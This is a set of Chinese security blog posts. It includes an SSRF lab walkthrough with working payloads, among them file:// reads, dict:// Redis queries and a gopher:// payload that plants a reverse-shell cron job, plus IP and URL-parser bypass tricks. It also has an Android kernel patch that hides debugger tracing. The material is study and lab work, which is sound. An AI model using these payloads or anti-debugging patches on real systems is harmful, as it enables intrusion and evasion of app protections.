好像应用中只出现.p12格式的证书的情况比较常见, 所以下面只会提及如何使用openssl将.p12格式的证书转换成.cer/.der格式的证书。(.der和.cer格式的证书仅有文件头和文件尾不同)

下面的命令实现了证书的格式转换, .p12->.pem->.cer, 在生成.pem格式的证书之后, 需要输入证书的密码, 也就是我们上面逆向获取的证书密码。最后将ClientCertificate.cer移动到之前Fiddler弹窗出现的目录下, 也就是<Fiddler安装路径>\Fiddler2下。

1
2
3
4
5
# 将.p12证书转换成.pem格式
$ openssl pkcs12 -in client.p12 -out ClientCertificate.pem -nodes
Enter Import Password:
# 将.pem证书转换成.cer格式
$ x509 -outform der -in ClientCertificate.pem -out ClientCertificate.cer

现在打开Fiddler尝试抓包, 发现原本显示400的数据包现在能够正常抓取到了, 如果还是不能正常抓取到, 双击client.p12将证书安装到本地试试看。

burp操作过程

手机的burpsuite证书安装成功之后, 我们会发现只能抓取到400的状态码。

因为要绕过服务器端对证书的验证, 我们还需要在这里添加上面我们在asset目录下找到的证书。

安装完就能正常抓取数据包了。

抓取TCP的数据包

现在还不知道怎么能够获取TCP的数据包并对其中的内容进行解密, 不过之前在看雪上看到一篇分析使用TCP传输协议的文章某直播APP逆向TCP协议分析, 我大概看了一下, 文章是从逆向的角度分析的, 具体怎么从渗透的角度发现是TCP协议传输的数据包还没有分析过, 看作者使用了wireshark抓取应用的数据包并进行分析, 这个还是要重新分析一下的。

结语

文章最后, 还要感谢华华师傅, 其实实习的时候接触android的时间也不长, 但是之后真的让我接触到很多和学到很多, 也谢谢师傅能耐心地帮我解答问题, 感恩。

SSRF-LABS指南

SSRF-LABS指南

前言

在网上找到一个学习SSRF的环境,SSRF-LABS有一个好看又简洁的界面,提供了最基本的REST API和客户端WebHook功能用于SSRF测试。前面只是大概的介绍,知道就好,不用花费过多精力了解。

SSRF介绍

服务端请求伪造,用户通过WEB访问/上传/发出请求,绕过服务器防火墙,获取服务器及其内网信息。SSRF可以说是一个媒介,结合服务器中的服务,常常可以形成一条完整的攻击链。

环境准备

我的环境是Ubuntu16.04,如果使用其他的系统,可能安装docker的方法不同,可以到网上搜一下。下面为安装docker的步骤。

1
2
$ curl -sSL https://get.docker.com/ | sh #脚本安装docker
$ apt install docker-compose #安装docker compose

先按照下面的命令把basic这一关搭建好,其他的基本相同。在创建容器的时候避免出冲突,端口8999在设置要注意,避免与本地已开启端口产生冲突。

1
2
3
4
5
6
$ git clone https://github.com/m6a-UdS/ssrf-lab.git
$ cd ~/ssrf-lab/basics #进入basics文件夹
$ docker build -t ssrf-lab/basic . #构建镜像
$ docker run -d -p 8999:80 ssrf-lab/basic #创建容器
$ docker ps #查看ssrf-lab/basic容器编号
$ docker stop [容器编号] #关闭容器

在Advances系列的文件夹还有ctf中没有dockerfile文件,只有docker-compose.yml文件,这时候我们就要在构建镜像的时候就换docker-compose来创建镜像并开启容器了。

1
2
3
$ cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
$ docker-compose up -d #开启容器
$ docker-compose down #关闭容器

在开启容器的时候的时候出了问题,因为在官网找不到urllib2的下载路径,编辑~/ssrf-lab/advanced2/flask-webserver文件,去掉其中的urllib2。

Part 1:basic

实验过程

打开页面,OUTGOING WEBHOOK部分输入的https://yourhandler.io/events是有REST API监听的需要测试项目,在SEE THE RESULT的部分会显示请求响应的结果和状态码。输入https://yourhandler.io/events的位置就可以作为一个测试点。

我们先用http://127.0.0.1进行测试。

发现数据显示出来了,说明这里没有对内网IP进行限制。

为了进一步进行测试,我们来了解一下URL的结构。

1
scheme://user:pass@host:port/path?query=value#fragment

从结构中我们可以看出不同的SSRF的利用姿势,有协议、URL绕过等等。这一关就尝试从协议入手,用file协议代替http协议或者https协议。在测试点输入file:///etc/passwd我们可以得到用户文件,我们也可以通过这样的方式获得其他文件。

成功之后我们可以通过深挖配置文件和源代码进行我们进一步的渗透,比如获得数据库的用户凭证。这里成功实现是因为URL没有经过严格的过滤,更准确地说应该是完全没经过过滤,下一关不会这么简单了。

SSRF协议中的利用

看了很多教程都是结合Redis服务一起讲的,为了方便介绍下面几个协议,我们先在ssrf-basics容器里面安装该服务。

1
2
3
4
$ docker ps #查看容器编号
$ docker exec -it [ssrf-lab/basics容器编号] /bin/bash #进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server #开启redis服务

这一关可以利用协议收集信息及反弹shell,都是没用协议白名单的锅,导致多个协议利用起来毫无阻力。

file

上面尝试的过的file:///etc/passwd就是利用了file协议,利用这个协议可以读取主机内任意文件。

dict

利用dict协议,dict://127.0.0.1:6379/info可获取本地redis服务配置信息。

还可以用dict://127.0.0.1:6379/KEYS *获取redis存储的内容

Gopher 协议

通过Gopher协议可以反弹shell,下面为具体的exp

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

这个看起来不太清晰,urldecode之后,就可以看到具体的命令。下面为解码之后的内容,我把关键的redis指令放到同一行中。

在页面能看到如下的回显

为了验证是否成功了,我在ssrf-lab/basics容器里面查看插入的KEY值。

Part 2:Advance1

实验过程

这一关用了正则表达式限制内网IP的访问,具体的代码如下。必须要吐槽一下,这个方法真的是一个很糟糕的方法,因为它实际上不能起到很好的安全防护作用。

1
2
3
4
5
6
7
if (preg_match('#^https?://#i', $handler) !== 1) {  
echo "Wrong scheme! You can only use http or https!";
die();
} else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
echo "Restricted area!";
die();
}

现在我们就用http://10.0.0.3来测试

我们可以很明显地看到没有获得响应,但是神奇的IP地址有多种表达方式,我们可以用这些方式来绕过上面那么直白的限制。先用整数表达http://167772163发出请求。

成功了,我们可以来看看IP地址的表达方式。众所周知,IP地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响IP地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍IP地址的表达方式。

1
2
3
4
字符串:       10.0.0.3
二进制: 00001010 . 00000000 . 00000000 . 00000011
十六进制: 0A.00.00.03
整数: 167772163

这些表达方式都能被curl命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用16进制0x0A000003表示IP地址,还有一个很少人知道的绕过小姿势,就是用8进制代替10进制来表示IP地址。在计算机的世界里,一旦在20前面加个0就会变成8进制,比如http://01200000003实际上还是http://10.0.0.3。上面两个表达方式,PHP的curl模块能解析出来。

下面总结一下几种变形

1
2
3
十六进制:   http://0x0A.0x00.0x00.0x03
八进制: http://012.00.00.03
八进制溢出:http://265.0.0.3

最后一个变形好像只适用于NodeJS应用的服务器,点分十进制的最大值为255,一旦超出了这个数,将会被重置,这个时候最后一个变形就会变回http://10.0.0.3。具体为什么可以通过这样的可能要从TCP/IP解析IP地址的逻辑入手(应用层的限制总能被巧妙地绕过,不是很可靠)。

其他常见的绕过方法

DNS泛域名

xip.ioxip.name这两个dns泛域名,实现绕过的方法是,你在你想访问的ip地址后面添加这两个泛域名,这两个域名会从你发出的请求中提取你真正想访问的IP地址,然后再响应报文中返回。感兴趣的可以看看DNS服务系列之一:泛域名解析的安全案例

1
2
3
4
5
http://www.10.0.0.3.xip.io
http://mysite.10.0.0.3.xip.io
http://foo.bar.10.0.0.3.xip.io
http://foo.10.0.0.3.xip.name
http://www.10.0.0.3.xip.name

还有很多其他的绕过方式,因为在这个环境里不能实现,所以就不在这里补充了,SSRF漏洞的利用与学习一文中比较全面。没有仔细研究过为什么Python写的后端代码不能实现其他绕过,不过我猜是因为Python的urllib和PHP的curl解析方式不同,如果以后有机会,会深究一下里面到底有什么不同。

Part 2:Advance2

在安装这个环境的时候,一定要注意端口的配置,如果出现了ERROR: Pool overlaps with other one on this address space的报错,可以按照移除docker网络这篇文章进行操作,记得先将docker给关掉。如果之后还有方法可以避免产生这个报错,例如正确地修改配置文件之类的,我会补充在后面。已经尝试过更改docker-compose.yml文件中的端口不起作用了。

这一关为了避免和上一关一样,代码中没有自己实现IP解析的功能,而是选择调用python2.7自带的库函数解析IP地址,具体代码如下:

1
2
3
4
5
6
url=request.form['handler']
host = urlparse.urlparse(url).hostname
if host == 'secret.corp':
return 'Restricted Area!'
else:
return urllib.urlopen(url).read()

上面的代码用了python2.7中的urlparse模块来解析url,该模块能够解析多个协议。获取了url中host参数之后,再对域进行判断。

跟第一个环境一样,我们先用http://secret.corp来测试。

URL解析器分析出这部分内容是访问已被限制的域,下面要介绍一个新的知识点了,我们先来测试一下它能不能起作用。在测试点输入http://google.com# @secret.corp

绕过这个到底是基于什么原理呢?让我们再次回顾一下url的结构

1
scheme://user:pass@host:port/path?query=value#fragment

原来http://google.com# @secret.corp@后面的secret.corp是真正要访问的host,前面的google.com#绕过了urlparse的解析。感觉很神奇而且让人有点摸不着头脑,了解一下原理会好很多。SSRF漏洞产生的根本原因是url中有空格(
CRLF注入),这让python中的两个模块解析url的时候起了冲突,urlparse认为host是google.com,而urllib则认为真正的host是secret.corp并且直接发出了请求。

为了进一步阐述上面漏洞利用的原理,用python写几行代码来验证一下,如果有点混乱,可以再看看上面的源代码,用urlparse解析URL进行判断是先于调用urllib发出请求的。下图为urlparse解析的结果,在python2.7和python3.5两个版本中都是一致的

为了能够进一步验证urllib能否正确接收到,在VPS上输入命令nc -lvvv 9444监听本地9444端口,再按照下面命令通过python发送请求:

1
2
3
4
$ python
$ import urllib
$ url = "http://google.com# @[VPS的IP地址]:9444"
$ urllib.urlopen(url).read()

之后在开启监听端口的服务器可以接收到如下的回显:

验证完毕。

advanced3

advanced3感觉作者代码不完整,感觉像在测试阶段,尝试过修改源代码,但是实际情况并不如我所想。所以这里就不丰富这部分内容了,如果之后作者对这部分题目有修改,我会对这部分内容进行补充。

ctf exp

下面是ctf题目获取flag的方法,因为我我不是亚马逊的服务器,所以获取不了flag,如果想尝试的,可以看看这篇文章

最后这个题目大家可以作为练习,到最后才看payload…..懒人就不重复说前面的内容了,来试试自己掌握了没有吧!

1
2
3
4
1 http://secret1.corp
2 file:///etc/passwd
3 http://10.38 #a000026、167772198
4 http://google.com# @secret3.corp

尝试绕过TracePID反调试——从源码入手

绕过TracePid反调试二

第一篇文章是直接修改二进制文件尝试绕过TracerPID反调试

前言

接受了评论的建议, 但是因为之前手机还没好加上没试过直接修改kernel的源码, 所以花了很多时间(都是环境惹的祸)。还有因为这个接触了shell code, 真的是一言难尽。事先说明, 下面的环境准备都是在国外的服务器上直接运行的, 难免有一些命令是需要翻墙的, 所以你实际上要用的命令可能跟我的有点不同(如果可以直接用代理之类的, 应该没多大影响)。

开发环境

Ubuntu 18.10(建议用Ubuntu 16.04, 至少2MB内存)
Android 6.0.1
Nexus 5

Ubuntu环境搭建

Java环境准备

下文Java环境搭建都是基于Ubuntu 18.10的, 如果你尝试过不能在自己的Ubuntu环境下使用, 可以到google上找找看, 应该能找到你想要的。如果不是为了之后Android源码调试, 只是为了修改kernel文件可以先不搭建Java环境。

下载JDK

  1. 为了下载最新的JDK, 可以现在Ubuntu的命令行里面先输入javac, 会显示下面的内容, 按照它提供的命令即可下载最新的JDK。
  2. 很不快乐的是Java 6和Java 7需要有Oracle的账号, 所以只要去Orcle注册一个账号, 就可以下载Java 7Java 6了(Java 7是压缩包, Java 6是一个二进制文件)。文章末尾附有两个jdk文件的链接

    安装JDK

    因为先安装了Java 8在路径/usr/lib/jvm目录下, 所以将文件文件jdk-6u45-linux-x64.binjdk-7u80-linux-x64.tar.gz都用mv命令移到上述目录下。
    1
    2
    root@vultr:~/[jdk 6存放的位置]# mv jdk-6u45-linux-x64.bin /usr/lib/jvm/
    root@vultr:~/[jdk 7存放的位置]# mv jdk-7u80-linux-x64.tar.gz /usr/lib/jvm/

解压jdk 6, 进入到/usr/lib/jvm目录下, 先给该文件读写的权限, 之后运行该二进制文件就会在当前目录下生成一个新的文件夹。

1
2
3
root@vultr:~/[jdk 7存放的位置]# cd /usr/lib/jvm
root@vultr:/usr/lib/jvm# chmod +x jdk-6u45-linux-x64.bin
root@vultr:/usr/lib/jvm# ./jdk-6u45-linux-x64.bin

解压jdk 7

1
root@vultr:/usr/lib/jvm# tar -zxvf jdk-7u80-linux-x64.tar.gz

为了我们能够在Ubuntu里面自由自在地切换Java版本, 我们可以先写个脚本将jdk-6和jdk-7添加到候选项中。先输入命令vim alternativeJava.sh, 并将下面的内容直接复制到alternativsjava.sh文件里。

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
JAVAHOME=$1
if [ -d $JAVAHOME ];then
sudo update-alternatives --install /usr/bin/java java $JAVAHOME/bin/java 300
sudo update-alternatives --install /usr/bin/javac javac $JAVAHOME/bin/javac 300
sudo update-alternatives --install /usr/bin/jar jar $JAVAHOME/bin/jar 300
sudo update-alternatives --install /usr/bin/javah javah $JAVAHOME/bin/javah 300
sudo update-alternatives --install /usr/bin/javap javap $JAVAHOME/bin/javap 300
else
echo "Wrong input"
exit 0
fi

用命令chmod+x alternativsjava.sh, 给脚本添加权限, 否则脚本会不能运行。输入命令./alternativsjava.sh /usr/lib/jvm/jdk1.7.0_80之后(脚本后面添加的路径是你jdk解压后的文件路径),用sudo update-alternatives --config java(切换java版本命令)进行检验。

准备Android源码运行环境

以下内容仅编译内核, 并假设你还没有下载整个 AOSP源。因为我要编译的内核版本过旧, 所以用的都是旧的教程, 如果有要编译新的内核的要求的话, 可以看看这两篇文章, Compiling an Android kernel with Clang编译内核

安装所需的软件包

在Ubuntu 14.04中如果下载git出问题, 可以看看这篇文章How To Install Git on Ubuntu 14.04

输入下述命令。

1
$ sudo apt-get install git-core gnupg flex bison gperf build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev libgl1-mesa-dev libxml2-utils xsltproc unzip

下载源码

在下载之前先获取手机的内核版本, 从下面的信息可知道手机内核的git short commit idcf10b7e

因为内核版本比较旧, 所以按照旧版的官方内核编译手册来, 而不是按照新版的内核编译手册来。如果内核比较新的, 还是直接用repo吧!接下来可以从官方手册上看到, 我需要的kernel源代码位于哪个branch, 然后从github上clone下来。

输入命令, 先将msm这个项目clone下来。(这一步花的时间可能会有一点点长)
$ git clone https://android.googlesource.com/kernel/msm.git

因为我用的是国外的服务器, 所以可以直接从google服务器下下来。如果是自己搭建的机器且觉得开代理太麻烦的话, 可以换成下面的命令。
$ git clone https://aosp.tuna.tsinghua.edu.cn/kernel/msm.git

将msm从github上clone下来之后, 会发现里面是个空的, 只有一个.git仓库。进入msm目录下, 用git branch -a查看分支。(我的文件路径跟图片下的不符, 实际上应该是/AndroidKernel/msm)

现在就要用到我们之前获取的short commit id(显示的是实际的commit id的前7位)了, 直接检出我们需要的代码的分支。
git branch -r --contains <your short commit id>

从上面的图片我们可以知道, 本地实际上只有master这一个分支, 这时候我们需要做的事就是在远程分支的基础上再分一个本地分支。

1
$ git checkout -b android-msm-hammerhead-3.4-marshmallow-mr3 origin/android-msm-hammerhead-3.4-marshmallow-mr3

安装GCC交叉编译器

之前不是很能理解为什么官方网站没说要下载这个东西, 之后在How to Build a Custom Android Kernel这篇文章里面看到。因为一般我们需要编译的kernel源代码都是基于arm架构编译运行的, 所以直接放在我们64位的Ubuntu里面是不合适的。也可以跟官方一样直接通过USB连接手机直接进行调试。

~/AndroidKernel执行如下命令(下载现在Linux环境下的arm编译接口)。这个编译接口尽量别尝试arm-eabi-4.8以上的, 因为旧的内核和交叉编译器不匹配会出现很多麻烦, 例如现在Google已经弃用了gcc, 在最新的交叉编译器里面只能用clang, 即使make操作加了参数CC=clang也会在出现很多很麻烦的报错。所以我这里为了匹配, 用的是旧的交叉编译器。

1
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6

在这里尝试了一下清华的AOSP源, 也是可以直接用的。参考贴出来的google的url, 直接将里面的https://android.googlesource.com/全部改成https://aosp.tuna.tsinghua.edu.cn/即可。详情可参考Android 镜像使用帮助

1
$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6

添加环境变量

添加环境变量总共有两种方法, 一种是短期的, 开机重启之后就会失效, 一种是长期的。

第一种:在~/AndroidKernel目录下执行以下命令。

1
$ export PATH=~/AndroidKernel/arm-eabi-4.6/bin:$PATH

第二种:在~/.bashrc中添加环境变量
$ vim ~/.bashrc

之后在文件末尾添加export PATH=<交叉编译API存放的文件根目录>/arm-linux-androideabi-4.9/bin:$PATH

为了让这个配置立马生效, 我们可以用下面的命令
$ source ~/.bashrc

修改源码

修改前准备+修改源码

如果觉得不想知道为什么要修改base.carray.c文件, 可以跳过现在这一段, 直接从下一段“修改msm/fs/proc/base.c文件”开始看就好了。

我将msm/fs/proc目录下的文件都下载到本地(都是先修改完成的), 安装了Source Insight来分析源码。proc文件, 是以文件系统的方式为访问系统内核的操作提供接口, 动态从系统内核中读出所需信息的。这也就说明, 我们想要修改的TracePid也是通过这个文件中获取到的。

我们想获取进程信息的时候, 一般会输出下述内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
>cat /proc/self/status
Name: cat
State: R (running)
Tgid: 5452
Pid: 5452
PPid: 743
TracerPid: 0 (2.4)
Uid: 501 501 501 501
Gid: 100 100 100 100
FDSize: 256
Groups: 100 14 16
VmPeak: 5004 kB
VmSize: 5004 kB
VmLck: 0 kB
VmHWM: 476 kB
VmRSS: 476 kB
VmData: 156 kB
VmStk: 88 kB
VmExe: 68 kB
VmLib: 1412 kB
VmPTE: 20 kb
VmSwap: 0 kB
Threads: 1
SigQ: 0/28578
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000000000
CapInh: 00000000fffffeff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: ffffffffffffffff
Seccomp: 0
voluntary_ctxt_switches: 0
nonvoluntary_ctxt_switches: 1

在上述Status信息中我们需要关注的两个部分, 一个是State字段, 一个是TracePid字段。因为这两个字段都可反映出进程是否被监测。详情可参考 proc.txt line 209line 215

proc手册查找/proc/[pid]/stat, 我们可以知道Status是在fs/proc/array.c定义的, 我们就先从array.c入手。

先打开查看调用关系的窗口, View->Panels->Relation Windows

array.c文件中搜索status, 找到函数proc_pid_status, 之后查看该函数调用与被调用的信息。

Relation Window中双击get_task_state函数, 就找到了我们想找的TracePid。这个就是我们要修改的第一处了。

TracePid 通常都是对父进程 pid 进行检测, 这里将 ppid 改为 0, 这样不管是否为调试状态, TracePid 都无法检测出。修改的结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
//修改部分
191 ppid, 0,
//修改结束
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);

上面的代码段中的get_task_state()函数引起了我的注意, 这个函数应该是获取state的函数。用鼠标选中该函数之后, 右手边的Relation Window会显示该函数所在的位置, 在该窗口双击之后跳转。

在上图中, 看到了明显用来存放状态的数组task_state_array, 选中该数组之后, 同样的在Relation Window中双击跳转。

将原来状态表中的Tt都修改为S这样就避免了该状态位反映出被监测的状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
R  Running
S Sleeping in an interruptible wait
D Waiting in uninterruptible disk sleep
Z Zombie
T Stopped (on a signal) or (before Linux 2.6.33)
trace stopped
t Tracing stop (Linux 2.6.33 onward)
W Paging (only before Linux 2.6.0)
X Dead (from Linux 2.6.0 onward
x Dead (Linux 2.6.33 to 3.13 only)
K Wakekill (Linux 2.6.33 to 3.13 only)
W Waking (Linux 2.6.33 to 3.13 only)
P Parked (Linux 3.9 to 3.13 only)

array.c我们已经修改完毕了, 这时候我们就要修改其他部分了。在导入Project之后, 我们在整个proc文件中搜索关键词trace。先按照下图打开Project Search Bar, 并在其中输入trace

我们会发现搜索的结果都是在base.c文件中(下图出现的第一个包含trace关键词的函数是我已经修改过的)。

在检查完有trace关键词的代码没发现有用的, 就在base.c文件中搜索关键词status

Ctrl+F输入关键词之后没找到, 就通过下图的向下搜索的功能一个个定位, 前面的部分都没找到自己想要找的函数段。

直到找到了关键的部分, 选中函数proc_pid_status, 在右边Relation Window中继续找我们想要的关键函数。

但是很遗憾, 在proc_pid_status函数中跟了很多相关的函数仍然没找到我们想要的。那我们就回到我们最开始的地方。这部分最上面的标识是pid_entry。顺着这个部分往下看, 我们就找到了proc_tid_stat函数, 选中该函数之后我们可以找到do_task_stat函数。

接下来, 我们就好好看看这个函数里面有什么。在右边的Relation Window中关注到一个有state关键词的函数, 双击之后跳转到该函数调用的位置。

定位到上图那一行之后, 分别跟了state关键词和get_task_state函数, 都没有发现什么(base.c是进程运行之前要做的准备工作, 从get_task_state函数可直接回到之前修改的array.c文件。但因为已修改完成, 所以就留在base.c文件中没有继续定位了)。

现在看到这段函数之中大部分都用到了变量task, 所以只好将task作为关键词用笨办法来一个一个定位。最后找到了wchan, 真的眼泪都掉下来。(因为事先知道要改这个部分)

看了Android反调试技术整理与实践这篇文章才知道为什么要修改带有wchan关键词的函数。因为/proc/pid/wchan/proc/pid/task/pid/wchan在调试状态下,里面内容为ptrace_stop, 非调试的状态下为ep_poll。所以也可能会泄露正在被调试的信息, 所以我们直接在Project中查找wchan关键词, 就定位到函数proc_pid_wchan

定位结束之后我们进行如下修改, 到这里我们的修改就彻底结束了。

修改msm/fs/proc/base.c文件

在Ubuntu中编辑文件vim msm/fs/proc/base.c, 定位函数proc_pid_wchan(大概在268行左右)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
267 static int proc_pid_wchan(struct task_struct *task, char *buffer)
268 {
269 unsigned long wchan;
270 char symname[KSYM_NAME_LEN];
271
272 wchan = get_wchan(task);
273
274 if (lookup_symbol_name(wchan, symname) < 0)
275 if (!ptrace_may_access(task, PTRACE_MODE_READ))
276 return 0;
277 else
278 return sprintf(buffer, "%lu", wchan);
279 else
280 return sprintf(buffer, "%s", symname);
281 }

改成下面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int proc_pid_wchan(struct task_struct *task, char *buffer)
{
unsigned long wchan;
char symname[KSYM_NAME_LEN];

wchan = get_wchan(task);

if (lookup_symbol_name(wchan, symname) < 0)
if (!ptrace_may_access(task, PTRACE_MODE_READ))
return 0;
else
return sprintf(buffer, "%lu", wchan);
else
{ // 更改的内容
if(strstr(symname,"trace"))
return sprintf(buffer, "%s", "sys_epoll_wait");
return sprintf(buffer, "%s", symname);
}
}

修改msm/fs/proc/array.c文件

用vim对msm/fs/proc/array.c进行编辑, 先修改第一处

1
2
3
4
5
6
7
8
9
10
11
12
134 static const char * const task_state_array[] 135 = {
136 "R (running)", /* 0 */
137 "S (sleeping)", /* 1 */
138 "D (disk sleep)", /* 2 */
139 "T (stopped)", /* 4 */
140 "t (tracing stop)", /* 8 */
141 "Z (zombie)", /* 16 */
142 "X (dead)", /* 32 */
143 "x (dead)", /* 64 */
144 "K (wakekill)", /* 128 */
145 "W (waking)", /* 256 */
146 };

修改之后的结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
134 static const char * const task_state_array[] 135 = {
136 "R (running)", /* 0 */
137 "S (sleeping)", /* 1 */
138 "D (disk sleep)", /* 2 */
//修改的部分
139 "S (sleeping)", /* 4 */
140 "S (sleeping)", /* 8 */
141 "Z (zombie)", /* 16 */
142 "X (dead)", /* 32 */
143 "x (dead)", /* 64 */
144 "K (wakekill)", /* 128 */
145 "W (waking)", /* 256 */
146 };

修改array.c的第二处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
191 ppid, tpid,
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);

修改的结果为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
//修改部分
191 ppid, 0,
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);

源码的编译运行

在编译运行之前, 我们需要先用echo $PATH确认交叉编译器在PATH中。

按照下面来进行配置

1
2
3
4
5
6
$ export ARCH=arm #指明目标体系架构,arm、x86、arm64
$ export SUBARCH=arm
$ cd msm #进入内核所在目录
$ make hammerhead_defconfig # 设备名_defconfig
#指定使用的交叉编译器的前缀
$ make ARCH=arm CROSS_COMPILE=arm-eabi- -j4 ##如果没有gcc的环境, 就增加了CC=clang

可以从编译内核这篇文章中找到相应的设备名。

在编译的过程中, 遇到了下面的报错。

这时候需要修改kernel/timeconst.pl文件, 用vim kernel/timeconst.pl编辑该文件, 定位到下述代码。

1
2
3
4
5
372     @val = @{$canned_values{$hz}};           
373 if (!defined(@val)) {
374 @val = compute_values($hz);
375 }
376 output($hz, @val);

if (!defined(@val))改为if (!@val), 再编译一次就可以了。

接下来, 就按照上图提示进入目录arch/arm/boot

重打包boot.img

为了防止发生不可挽回的刷砖错误, 在刷机之前, 一定要按照尝试绕过TracePid反调试将boot.img进行备份。

准备好bootimg-tools工具

因为我之前Windows环境是准备好了的, 就直接在本地解决下面的任务。

在Ubuntu环境中, 输入下面命令就准备完成了

1
2
3
$ git clone https://github.com/pbatard/bootimg-tools.git
$ make
$ cd mkbootimg

Windows环境下进入[MinGW安装的目录]]\MinGW\msys\1.0目录下, 双击msys.bat

提取出来的boot.img放到mkbootimg文件夹下, 之后的步骤不管是哪个环境下都是相同的。

用unmkbootimg解包

在MinGW输入命令./unmkbootimg -i boot.img, 如果是Ubuntu, 直接去掉前面的./执行命令。

我们获得了rebuild需要输入的指令, 之后要rebuild的时候要修改一下才能用。

1
2
To rebuild this boot image, you can use the command:
mkbootimg --base 0 --pagesize 2048 --kernel_offset 0x00008000 --ramdisk_offset 0x02900000 --second_offset 0x00f00000 --tags_offset 0x02700000 --cmdline 'console=ttyHSL0,115200,n8 androidboot.hardware=hammerhead user_debug=31 maxcpus=2 msm_watchdog_v2.enable=1' --kernel kernel --ramdisk ramdisk.cpio.gz -o boot.img

替换kernel重新打包

刷入bootnew.img

在手机开机的情况下, 进入bootnew.img存放的目录输入下述命令。

1
2
3
$ adb reboot bootloader
$ fastboot flash boot bootnew.img
$ fastboot reboot

测试

现在到了见证奇迹的时刻了

参考文章或其他链接

Ubuntu 安装 JDK 7 / JDK8 的两种方式
在Ubuntu中通过update-alternatives切换java版本
编译Android 9.0内核源码并刷入手机
Android系统内核编译及刷机实战 (修改反调试标志位)
搭建编译环境
How to Build a Custom Android Kernel
Android源码定制添加反反调试机制
Java6+Java7链接 提取码:ma3i

Google Zero团队:Android流行通讯APP中的BUG

原文地址:https://googleprojectzero.blogspot.com/2019/03/android-messaging-few-bugs-short-of.html

前言

大概一年半以前, 我对 Android的通讯和邮件客户端进行了一些测试。当时, 在这些客户端中发现了一些bug, 然而没能把这些bug组合成有效的攻击链, 所以没有将成果发到博客上。不过, 和当初想公布研究成果的想法不同, 我现在决定将研究成果分享出来。毕竟, 了解(客户端的)设计上的抉择会对安全造成什么影响, 也是一件有趣的事情。

实例

在研究过程中, 对Messages (Android默认的短信客户端)、 Android上的Gmail客户端、 微软 Outlook, Facebook Messenger, WhatsApp、 Signal和Telegram这些是Google Play上最流行的通讯和邮件客户端进行了测试。

通讯客户端说明(体系结构、攻击面、测试方法)

从高层次上看, 通讯客户端具有类似的体系结构, 其功能是与服务器进行通讯, 负责定位要与用户通讯的收件人, 通常还要保留通讯过程中的session。消息需要通过服务器, 再由服务器直接发给收件人, 支持端到端加密的客户端可以将消息用某种信封加密技术密封起来。

不同客户端使用的通讯协议是不一样的, 尽管如此, Facebook Messenger、WhatsApp 和 Telegram 还是有相似的地方的, 这些客户端通讯协议都是采用分层方法实现的, 使用该方法发送的消息可以在一个层次结构包含类型不同的字段。 Telegram使用的通讯协议是公开的, 用它发送出的一条消息就同时包含了发送给服务器端和接收者的信息。

